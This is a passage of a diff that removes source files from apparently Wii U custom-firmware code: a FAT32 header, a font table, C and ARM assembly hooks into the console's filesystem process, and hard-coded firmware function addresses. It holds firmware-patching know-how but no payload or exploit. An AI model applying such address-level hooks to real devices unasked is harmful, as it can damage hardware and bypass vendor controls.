|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
@ -1,7 +0,0 @@
|
|||||||
#ifndef _FAT32_FORMAT_H_
|
|
||||||
#define _FAT32_FORMAT_H_
|
|
||||||
|
|
||||||
int CheckFAT32PartitionOffset(u8 * mbr, u32 partition_offset);
|
|
||||||
int FormatSDCard(u32 partition_offset, u32 total_sectors);
|
|
||||||
|
|
||||||
#endif // _FAT32_FORMAT_H_
|
|
@ -1,49 +0,0 @@
|
|||||||
const unsigned char font_bin[] = {
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00,
|
|
||||||
0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66,
|
|
||||||
0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62,
|
|
||||||
0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 0x30, 0x18, 0x0C, 0x00,
|
|
||||||
0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00,
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00,
|
|
||||||
0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00,
|
|
||||||
0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x6C, 0x6C, 0x66, 0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00,
|
|
||||||
0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00,
|
|
||||||
0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00,
|
|
||||||
0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00,
|
|
||||||
0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00,
|
|
||||||
0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00,
|
|
||||||
0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00,
|
|
||||||
0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00,
|
|
||||||
0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00,
|
|
||||||
0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00,
|
|
||||||
0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00,
|
|
||||||
0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C,
|
|
||||||
0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C,
|
|
||||||
0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E,
|
|
||||||
0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00,
|
|
||||||
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00,
|
|
||||||
0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00,
|
|
||||||
0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00,
|
|
||||||
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00,
|
|
||||||
0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00,
|
|
||||||
0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00,
|
|
||||||
0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00,
|
|
||||||
0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00,
|
|
||||||
0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00,
|
|
||||||
0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00,
|
|
||||||
0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00,
|
|
||||||
0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00,
|
|
||||||
0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08,
|
|
||||||
0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08,
|
|
||||||
};
|
|
@ -1 +0,0 @@
|
|||||||
extern const u8 font_bin[];
|
|
@ -1,222 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include <stdio.h>
|
|
||||||
#include "types.h"
|
|
||||||
#include "devices.h"
|
|
||||||
#include "imports.h"
|
|
||||||
#include "fsa.h"
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
//! FSA redirection
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
char* FSA_AttachVolume_FillDescription_hook(char *dst, const char *src, int size)
|
|
||||||
{
|
|
||||||
char* ret = FS_STRNCPY(dst, src, size);
|
|
||||||
|
|
||||||
u8 *volDescr = (u8 *)(dst - 0x1C);
|
|
||||||
|
|
||||||
// copy in a fake volume name and enable flag that it is set
|
|
||||||
if( (FS_STRNCMP((char*)(volDescr + 0x1C), "usb", 3) == 0) && (FS_STRNCMP((char*)(volDescr + 0x24), "fat", 3) == 0) )
|
|
||||||
{
|
|
||||||
FS_STRNCPY((char*)(volDescr + 0xAC), "usbfat1", 8);
|
|
||||||
*volDescr |= 0x40;
|
|
||||||
}
|
|
||||||
// let's do this for SD card to, for future SD card title loading maybe
|
|
||||||
/*
|
|
||||||
if( (FS_STRNCMP((char*)(volDescr + 0x1C), "sdcard", 3) == 0) && (FS_STRNCMP((char*)(volDescr + 0x24), "fat", 3) == 0) )
|
|
||||||
{
|
|
||||||
FS_STRNCPY(volDescr + 0xAC, "sdfat", 7);
|
|
||||||
*volDescr |= 0x40;
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSA_AsyncCommandCallback_hook(int result, int reply)
|
|
||||||
{
|
|
||||||
int (*FSA_ConvertErrorCode)(int result, int reply) = (void*)0x1071209C;
|
|
||||||
int res = FSA_ConvertErrorCode(result, reply);
|
|
||||||
|
|
||||||
if(reply && (*(u32*)(reply + 0x42C) != 0))
|
|
||||||
{
|
|
||||||
u32 devDescr = *(u32*)(reply + 0x42C);
|
|
||||||
int deviceType = *(u32*)(devDescr + 0x70);
|
|
||||||
|
|
||||||
if(deviceType == DEVICE_TYPE_USB) // TODO: verify it is FAT USB and not WFS USB
|
|
||||||
{
|
|
||||||
u32 command = *(u32*)(reply + 0x1C);
|
|
||||||
|
|
||||||
if(res < 0)
|
|
||||||
{
|
|
||||||
switch(command)
|
|
||||||
{
|
|
||||||
case 0x05: // FSMakeQuota -> 0x1D
|
|
||||||
case 0x1A: // FSFlushQuota -> 0x1E
|
|
||||||
case 0x1B: // FSRollbackQuota -> 0x1F
|
|
||||||
case 0x1C: // FSChangeOwner -> 0x70
|
|
||||||
case 0x1D: // FSChangeMode -> 0x20
|
|
||||||
case 0x1E: // FSRemoveQuota -> 0x72 // TODO: this actually removes the directory. we need to do something about it
|
|
||||||
case 0x20: // Unkn -> 0x74
|
|
||||||
case 0x21: // FSMakeLinkAsync -> 0x75 // TODO: this is an issue on FAT. maybe create some file which has the name of the link in it?
|
|
||||||
case 0x16: // unkn but required on install
|
|
||||||
res = 0;
|
|
||||||
break;
|
|
||||||
case 0x04:
|
|
||||||
if(res == -196642)
|
|
||||||
{
|
|
||||||
// FS_SYSLOG_OUTPUT("FSA INVALID CHARACTERS IN CREATEDIR\n");
|
|
||||||
res = 0;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
switch(command)
|
|
||||||
{/*
|
|
||||||
case 0x10: // FSGetStatFile
|
|
||||||
{
|
|
||||||
fileStat_s * fsStat = (fileStat_s*)(*(u32*)(reply + 0x2C));
|
|
||||||
FS_SYSLOG_OUTPUT("FSGetStatFile: %08X %08X %08X %08X\n", fsStat->flag, fsStat->owner_id, fsStat->group_id, fsStat->size);
|
|
||||||
break;
|
|
||||||
}*/
|
|
||||||
case 0x19: // FSGetInfo -> 0x18
|
|
||||||
{
|
|
||||||
switch(*(u32*)(reply + 0x228))
|
|
||||||
{
|
|
||||||
case 0x05: // FSGetStat
|
|
||||||
{
|
|
||||||
fileStat_s * fsStat = (fileStat_s*)(*(u32*)(reply + 0x22C));
|
|
||||||
if((fsStat->flag & 0xF0000000) == 0x80000000)
|
|
||||||
{
|
|
||||||
// just make every directory a quota -> probably wrong :P
|
|
||||||
fsStat->flag |= 0xE0000000;
|
|
||||||
fsStat->quota_size = 0x4000000; // max quota size
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(res < 0 && (*(u32*)(reply + 0x1C) != 0x19))
|
|
||||||
FS_SYSLOG_OUTPUT("FSA TEST2: res %d %08X %08X %08X\n", res, result, reply, *(u32*)(reply + 0x1C));
|
|
||||||
|
|
||||||
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSA_MakeQuota_hook(u32 * devDescr, u32 *commandStruct)
|
|
||||||
{
|
|
||||||
int (*resolveNode)(u32 * devDescr) = (void*)0x1070EEDC;
|
|
||||||
int res = resolveNode(devDescr);
|
|
||||||
|
|
||||||
if(devDescr[0x70/4] == DEVICE_TYPE_USB)
|
|
||||||
{
|
|
||||||
commandStruct[0x1C/4] = 4;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
commandStruct[0x1C/4] = 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
int FSMakeQuota(int fsa, int client, const char *path, int mode, int unkn, unsigned int size)
|
|
||||||
{
|
|
||||||
int (*callFunc)(int fsa, int client, const char *path, int mode, int unkn, unsigned int size) = (void*)0x1070BC9C;
|
|
||||||
|
|
||||||
if(FS_STRNCMP(path, "/vol/mcp_devmgr", 15) == 0)
|
|
||||||
{
|
|
||||||
mode = 0x666;
|
|
||||||
}
|
|
||||||
int res = callFunc(fsa, client, path, mode, unkn, size);
|
|
||||||
FS_SYSLOG_OUTPUT("FSMakeQuota: res %d %08X %08X %20s %08X %08X %08X\n", res, fsa, client, path, mode, unkn, size);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSCreateDir(int fsa, int client, const char *path, int mode)
|
|
||||||
{
|
|
||||||
int (*callFunc)(int fsa, int client, const char *path, int mode) = (void*)0x1070BEBC;
|
|
||||||
|
|
||||||
if(FS_STRNCMP(path, "/vol/mcp_devmgr", 15) == 0)
|
|
||||||
{
|
|
||||||
mode = 0x666;
|
|
||||||
}
|
|
||||||
int res = callFunc(fsa, client, path, mode);
|
|
||||||
FS_SYSLOG_OUTPUT("FSCreateDir: res %d %08X %08X %s %08X\n", res, fsa, client, path, mode);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSChangeDir(int a1, char *dir)
|
|
||||||
{
|
|
||||||
int (*callFunc)(int a1, char* a2) = (void*)0x1070EB7C;
|
|
||||||
int res = callFunc(a1, dir);
|
|
||||||
|
|
||||||
FS_SYSLOG_OUTPUT("FSChangeDir: res %d %s\n", res, dir);
|
|
||||||
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSOpenFile(int a1, int a2, char *dir, char *mode, int a3, int a4, int a5, int a6)
|
|
||||||
{
|
|
||||||
int (*callFunc)(int a1, int a2, char *dir, char *mode, int a3, int a4, int a5, int a6) = (void*)0x1070AF08;
|
|
||||||
|
|
||||||
if(FS_STRNCMP(dir, "/vol/mcp_devmgr", 15) == 0)
|
|
||||||
{
|
|
||||||
a4 = 0x666;
|
|
||||||
}
|
|
||||||
|
|
||||||
int res = callFunc(a1, a2, dir, mode, a3, a4, a5, a6);
|
|
||||||
|
|
||||||
FS_SYSLOG_OUTPUT("FSOpenFile: res %d %s %s %08X %08X %08X\n", res, dir, mode, a4, a5, a6);
|
|
||||||
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
int FSWriteFileIssueCommand(int a1, int a2, int a3, int a4, signed int a5, int a6, int a7, int a8)
|
|
||||||
{
|
|
||||||
int (*callFunc)(int a1, int a2, int a3, int a4, signed int a5, int a6, int a7, int a8) = (void*)0x1070A7A4;
|
|
||||||
|
|
||||||
int res = callFunc(a1, a2, a3, a4, a5, a6, a7, a8);
|
|
||||||
|
|
||||||
FS_SYSLOG_OUTPUT("FSWriteFile: res %d %08X %08X %08X %08X %08X %08X\n", res, a3, a4, a5, a6, a7, a8);
|
|
||||||
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
*/
|
|
@ -1,42 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _FSA_H_
|
|
||||||
#define _FSA_H_
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
u32 flag;
|
|
||||||
u32 permission;
|
|
||||||
u32 owner_id;
|
|
||||||
u32 group_id;
|
|
||||||
u32 size; // size in bytes
|
|
||||||
u32 physblock_size; // physical size on disk in bytes
|
|
||||||
u64 quota_size;
|
|
||||||
u32 id;
|
|
||||||
u32 ctime;
|
|
||||||
u32 mtime;
|
|
||||||
u32 unk2[0x0D];
|
|
||||||
}fileStat_s;
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,101 +0,0 @@
|
|||||||
|
|
||||||
#############################################################################################
|
|
||||||
# FS main thread hook
|
|
||||||
#############################################################################################
|
|
||||||
.extern createDevThread_entry
|
|
||||||
.globl createDevThread_hook
|
|
||||||
createDevThread_hook:
|
|
||||||
push {r0,r1,lr}
|
|
||||||
ldr r0, [r4, #0x8]
|
|
||||||
mov r1, r7
|
|
||||||
bl createDevThread_entry
|
|
||||||
pop {r0,r1,lr}
|
|
||||||
# restore original instruction
|
|
||||||
pop {r4-r8,pc}
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
# devices handle hooks
|
|
||||||
#############################################################################################
|
|
||||||
.extern getMdDeviceById
|
|
||||||
.globl getMdDeviceById_hook
|
|
||||||
getMdDeviceById_hook:
|
|
||||||
mov r4, r0
|
|
||||||
push {lr}
|
|
||||||
bl getMdDeviceById
|
|
||||||
pop {lr}
|
|
||||||
cmp r0, #0
|
|
||||||
moveq r0, r4
|
|
||||||
bxeq lr
|
|
||||||
pop {r4,r5,pc}
|
|
||||||
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
# syslog hook
|
|
||||||
#############################################################################################
|
|
||||||
.globl syslogOutput_hook
|
|
||||||
syslogOutput_hook:
|
|
||||||
# push {r0,lr}
|
|
||||||
# bl dump_syslog
|
|
||||||
# pop {r0,lr}
|
|
||||||
# restore original instruction
|
|
||||||
pop {r4-r8,r10,pc}
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
# Original NAND read functions
|
|
||||||
#############################################################################################
|
|
||||||
.globl slcRead1_original
|
|
||||||
slcRead1_original:
|
|
||||||
push {r4-r8,lr}
|
|
||||||
ldr r4, [pc]
|
|
||||||
bx r4
|
|
||||||
.word 0x107B9990
|
|
||||||
|
|
||||||
.globl sdcardRead_original
|
|
||||||
sdcardRead_original:
|
|
||||||
push {r4,lr}
|
|
||||||
ldr r4, [pc]
|
|
||||||
bx r4
|
|
||||||
.word 0x107BDDD4
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
# FSA functions
|
|
||||||
#############################################################################################
|
|
||||||
.globl FSA_MakeQuota_asm_hook
|
|
||||||
FSA_MakeQuota_asm_hook:
|
|
||||||
mov r1, r5
|
|
||||||
b FSA_MakeQuota_hook
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
# DEBUG STUFF
|
|
||||||
#############################################################################################
|
|
||||||
# # # # # # # # # #
|
|
||||||
# DEBUG STUFF #
|
|
||||||
# # # # # # # # # #
|
|
||||||
#mlcRead1_dbg:
|
|
||||||
# mlcRead1_dbg_stackframe equ (4*6)
|
|
||||||
# mov r12, r0
|
|
||||||
# push {r0-r3,r12,lr}
|
|
||||||
# adr r0, mlcRead1_dbg_format
|
|
||||||
# ldr r1, [sp, #mlcRead1_dbg_stackframe+9*4]
|
|
||||||
# bl FS_SYSLOG_OUTPUT
|
|
||||||
# pop {r0-r3,lr,pc} # replaces mov lr, r0
|
|
||||||
# mlcRead1_dbg_format:
|
|
||||||
# .ascii "mlcRead1 : %08X %08X %08X"
|
|
||||||
# .byte 0x0a
|
|
||||||
# .byte 0x00
|
|
||||||
# .align 0x4
|
|
||||||
#
|
|
||||||
#mlcRead1_end_hook:
|
|
||||||
# mlcRead1_end_hook_stackframe equ (4*10)
|
|
||||||
# push {r0}
|
|
||||||
# mov r0, #50
|
|
||||||
# bl FS_SLEEP
|
|
||||||
# ldr r0, =sdcard_read_buffer
|
|
||||||
# ldr r1, [sp, #mlcRead1_end_hook_stackframe+4*1]
|
|
||||||
# mov r2, #0x200
|
|
||||||
# bl FS_MEMCPY
|
|
||||||
# ldr r0, =sdcard_read_buffer
|
|
||||||
# str r6, [r0]
|
|
||||||
# mov r1, #0x200
|
|
||||||
# bl dump_data
|
|
||||||
# pop {r0,r4-r11,pc}
|
|
@ -1,9 +0,0 @@
|
|||||||
#ifndef HARDWARE_REGISTERS_H_
|
|
||||||
#define HARDWARE_REGISTERS_H_
|
|
||||||
|
|
||||||
#define LT_GPIO_IN 0x0d8000e8
|
|
||||||
|
|
||||||
|
|
||||||
#define GPIO_IN_POWER_BUTTON 0x01
|
|
||||||
|
|
||||||
#endif // HARDWARE_REGISTERS_H_
|
|
@ -1,38 +0,0 @@
|
|||||||
#ifndef IMPORTS_H_
|
|
||||||
#define IMPORTS_H_
|
|
||||||
|
|
||||||
#define FS_IOS_SHUTDOWN ((void (*)(int))0x107F6C94)
|
|
||||||
|
|
||||||
#define FS_SVC_CREATEMUTEX ((int (*)(int, int))0x107F6BBC)
|
|
||||||
#define FS_SVC_ACQUIREMUTEX ((int (*)(int, int))0x107F6BC4)
|
|
||||||
#define FS_SVC_RELEASEMUTEX ((int (*)(int))0x107F6BCC)
|
|
||||||
#define FS_SVC_DESTROYMUTEX ((int (*)(int))0x107F6BD4)
|
|
||||||
|
|
||||||
#define FS_SLEEP ((void (*)(int))0x1071D668)
|
|
||||||
#define FS_MEMCPY ((void* (*)(void*, const void*, u32))0x107F4F7C)
|
|
||||||
#define FS_MEMSET ((void* (*)(void*, int, u32))0x107F5018)
|
|
||||||
#define FS_VSNPRINTF ((int (*)(char * s, u32 n, const char * format, va_list arg))0x107F5F68)
|
|
||||||
#define FS_SNPRINTF ((int (*)(char * s, u32 n, const char * format, ...))0x107F5FB4)
|
|
||||||
#define FS_STRNCMP ((int (*)(const char *s1, const char *s2, u32 size))0x107F6138)
|
|
||||||
#define FS_STRNCPY ((char* (*)(char *s1, const char *s2, u32 size))0x107F60DC)
|
|
||||||
#define FS_SYSLOG_OUTPUT ((void (*)(const char *format, ...))0x107F0C84)
|
|
||||||
#define FS_RAW_READ1 ((int (*)(int handle, u32 offset_high, u32 offset_low, u32 size, void* buf, void *callback, int callback_arg))0x10732BC0)
|
|
||||||
#define FS_SDIO_DOREADWRITECOMMAND ((int (*)(int, void*, u32, void*, void*))0x10718A8C)
|
|
||||||
|
|
||||||
#define FS_REGISTERMDPHYSICALDEVICE ((int (*)(void*, int, int))0x10718860)
|
|
||||||
|
|
||||||
#define memcpy FS_MEMCPY
|
|
||||||
#define memset FS_MEMSET
|
|
||||||
|
|
||||||
#define FS_MMC_SDCARD_STRUCT ((vu32*)0x1089B9F8)
|
|
||||||
#define FS_MMC_MLC_STRUCT ((vu32*)0x1089B948)
|
|
||||||
|
|
||||||
#define FS_MLC_PHYS_DEV_STRUCT ((void*)0x11C3A14C)
|
|
||||||
#define FS_SLC_PHYS_DEV_STRUCT ((void*)0x11C381CC)
|
|
||||||
#define FS_SLCCMPT_PHYS_DEV_STRUCT ((void*)0x11C37668)
|
|
||||||
|
|
||||||
#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8)))
|
|
||||||
#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16)))
|
|
||||||
#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
|
|
||||||
|
|
||||||
#endif // IMPORTS_H_
|
|
@ -1,62 +0,0 @@
|
|||||||
#include "text.h"
|
|
||||||
#include "sdio.h"
|
|
||||||
#include "dumper.h"
|
|
||||||
#include "imports.h"
|
|
||||||
#include "devices.h"
|
|
||||||
#include "svc.h"
|
|
||||||
#include "../../common/config_types.h"
|
|
||||||
#include "../../common/kernel_commands.h"
|
|
||||||
|
|
||||||
void createDevThread_entry(int node_type, u32 *dev_handles)
|
|
||||||
{
|
|
||||||
FS_SYSLOG_OUTPUT("FSA: %s thread created\n", (char*)dev_handles[0]);
|
|
||||||
|
|
||||||
if(node_type == NODE_TYPE_DEV_MMC)
|
|
||||||
{
|
|
||||||
cfw_config_t cfw_config;
|
|
||||||
FS_MEMSET(&cfw_config, 0, sizeof(cfw_config));
|
|
||||||
svcCustomKernelCommand(KERNEL_GET_CFW_CONFIG, &cfw_config);
|
|
||||||
|
|
||||||
if(cfw_config.redNAND)
|
|
||||||
{
|
|
||||||
sdcard_init();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
/*else if(node_type == NODE_TYPE_DEV_UMS)
|
|
||||||
{
|
|
||||||
// instead of hooking into attach at 0x10732FBC...lets do this and let the system do the mount
|
|
||||||
fs_attach_info_t * info = (fs_attach_info_t *)(*(u32*)0x1091C2E4);
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if(info->fs_type == FS_TYPE_FAT)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
for(i = 0; i < sizeof(info->allowed_devices); i++)
|
|
||||||
{
|
|
||||||
if(info->allowed_devices[i] == 0)
|
|
||||||
{
|
|
||||||
info->allowed_devices[i] = DEVICE_TYPE_USB;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
info = info->next;
|
|
||||||
}
|
|
||||||
while(info);
|
|
||||||
}*/
|
|
||||||
else if(node_type == NODE_TYPE_DEV_ATFS) // ATFS is started right before ISFS for slc/slccmpt
|
|
||||||
{
|
|
||||||
cfw_config_t cfw_config;
|
|
||||||
FS_MEMSET(&cfw_config, 0, sizeof(cfw_config));
|
|
||||||
